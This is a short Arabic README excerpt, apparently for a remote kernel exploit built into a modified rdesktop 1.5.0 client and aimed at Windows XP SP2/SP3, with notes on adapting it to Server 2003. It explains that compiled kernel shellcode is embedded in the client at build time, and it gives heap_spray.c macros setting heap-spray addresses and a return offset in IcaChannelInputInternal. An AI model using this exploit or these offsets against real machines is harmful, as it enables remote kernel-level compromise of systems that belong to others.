
يعمل على نظام xp (جميع الإصدارات sp2 sp3)
ملاحظة:
shellcode/shellcode.asm هو الكود المصدري لـ shellcode الخاص بالنواة، وبعد الترجمة يُحوَّل إلى ثنائي ليصبح ملف rdesktop-1.5.0\cf517d077e9c152120787eb6b251615b، ويُدمج مباشرةً في البرنامج عند تنفيذ make.
يدعم XP فقط حاليًا، ويتطلب ذاكرة XP >= 2G
إذا كنت بحاجة إلى دعم 2003، فستحتاج إلى تعديل عنوان الماكرو HEAP_SPRAY_ADDRESS داخل heap_spray.c. بعد اختبارات متكررة، يختلف هذا العنوان باختلاف إصدارات نظام 03 وأحجام الذاكرة المختلفة. ولكن إذا أردت اختبار جهازك الخاص، فمن الممكن نجاح الاستغلال على 03. إنه ليس قابلاً للتطبيق العام.
heap_spray.c
#ifdef _2003
#define HEAP_SPRAY_ADDRESS 0x953b09c0 //需要自己去windbg调试堆喷shellcode的地址 如果有朋友找到通用的解决方案欢迎提交issues
#define IcaChannelInputInternal_RET_OFFSET 0x268
#else
#define IcaChannelInputInternal_RET_OFFSET 0x274
#define HEAP_SPRAY_ADDRESS 0x88c969c0
#endif
اختبار 03
